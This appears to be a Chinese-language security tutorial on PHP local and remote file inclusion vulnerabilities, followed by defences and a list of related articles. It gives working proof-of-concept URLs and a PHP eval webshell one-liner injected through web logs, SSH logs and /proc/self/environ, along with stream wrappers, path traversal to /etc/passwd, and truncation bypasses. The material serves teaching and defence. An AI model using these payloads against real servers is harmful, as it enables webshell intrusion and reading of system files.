程式碼安全之檔案包含
漏洞成因
PHP檔案包含漏洞的產生原因是在通過PHP的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼注入。
PHP檔案包含漏洞程式碼
以上程式碼儲存為 http://www.test.com/index.php
本地檔案包含
包含系統檔案
windows
linux
普通許可權:
root許可權:
獲取webshell
包含web日誌檔案
1 訪問連線 http://www.test.com/<?php eval(POST_['test']) ?>
2 使用菜刀連線 http://www.test.com/index.php?func=/var/log/apache/access.log
這種方式有一個弊端,由於access的日誌檔案比較大,所以webshell可能會很慢甚至卡死
包含ssh登入日誌
如果web伺服器開啟了ssh,且我可以使用putty連線其埠,我們可以嘗試連線,使用<?php eval(POST_['test']) ?>作為使用者名稱,然後在登入失敗後,使用者名稱會被記錄在ssh的失敗登入日誌(/var/log/auth.log)中,我們可以包含這個日誌檔案獲取webshell。
包含環境變數
我們在user-agent中插入一句話,然後訪問web伺服器,在/proc/self/environ中會包含我們的user-agent資訊,然後我們可以包含該檔案獲取webshell。下面是該檔案的內容:
包含使用者上傳檔案
包含圖片
使用者上傳圖片功能是web服務網站最常用的功能,沒什麼好說的
包含壓縮包
上傳一個包含一句話的rar壓縮包,這個功能在php版本大於5.30下可以利用
【POC】http://www.test.com/index.php?file=phar://test.rar/test.txt
遠端檔案包含
利用方式
包含遠端伺服器檔案
利用條件
需要allow_url_fopen=On並且 allow_url_include=On
POC
【POC】http://www.test.com/index.php?file=[http|https|ftp]://example.com/shell.txt
利用PHP流
利用條件
需要allow_url_include=On
利用方式
【POC】 http://www.test.com/index.php?file=php://input
【POC】 http://www.test.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
【POC】 http://www.test.com/index.php?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
對於有限制的檔案包含
包含指令碼
<?php include($_GET['file'] . ".htm"); ?>
突破方式
00截斷
利用條件
需要 magic_quotes_gpc=off,PHP小於5.3.4有效
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd
超長檔名截斷
利用條件
php版本小於5.2.8(?)可以成功,linux需要檔名長於4096,windows需要長於256
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
點號截斷
利用條件
php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../boot.ini/………[…]…………
防禦措施
1 儘量不要使用者控制檔案包含的引數
2 開啟open_basedir函式,將其設定為指定目錄,則只有該目錄的檔案允許被訪問。
3 關閉allow_url_include函式,防止遠端檔案包含。
4 包含檔案白名單限制
不同語言有包含功能的函式
PHP
include()
include_once()
require()
require_once()
fopen()
readfile()
jsp
include:
<%@ include file="body.jsp"%>
jsp:include:
<jsp:include page="head.jsp"/>
採用JSTL:
<c:import url="http://thief.one/1.jsp">
asp
<!--#include file="1.asp" -->
aspx
<!--#include file="top.aspx" -->
相關文章
- 檔案包含之包含了Linux檔案描述符Linux
- 檔案包含之/proc/self/environ
- 本地檔案包含之包含日誌獲取webshellWebshell
- 程式碼安全之上傳檔案
- 檔案包含之銘感目錄
- 檔案包含漏洞(本地包含配合檔案上傳)
- 檔案包含2
- CTFer——檔案包含
- Shell 檔案包含
- java安全編碼指南之:檔案IO操作Java
- 什麼是檔案包含漏洞?檔案包含漏洞分類!
- Linux Shell檔案之間的包含關係Linux
- PHP檔案包含 整理PHP
- 遠端檔案包含shell
- PHP基礎---檔案包含PHP
- 檔案包含漏洞小結
- Web安全之檔案上傳Web
- java安全編碼指南之:檔案和共享目錄的安全性Java
- Apache Tomcat檔案包含漏洞分析ApacheTomcat
- ClickOnce釋出包含某檔案
- "白話"PHP檔案包含漏洞PHP
- PHP檔案包含小總結PHP
- 程式碼安全之程式碼混淆及加固(Android)?Android
- 檔案包含漏洞(繞過姿勢)
- 利用pearcmd實現裸檔案包含
- C語言 - 標頭檔案包含C語言
- 實戰篇——檔案包含漏洞一
- 6.PHP包含檔案、終止指令碼、陣列指標PHP指令碼陣列指標
- Web 安全漏洞之檔案上傳Web
- 小程式之檔案上傳
- 流行 VPN 包含允許執行任意程式碼的安全漏洞
- 安卓應用安全指南4.6.1處理檔案示例程式碼安卓
- MATLAB生成.coe檔案和.mif檔案程式碼示例Matlab
- 檔案包含-基於Pikachu的學習
- 【第九章】檔案包含漏洞
- PHP檔案包含漏洞(利用phpinfo)復現PHP
- DVWA-檔案包含學習筆記筆記
- [CTFshow] 檔案包含 78~88,116~117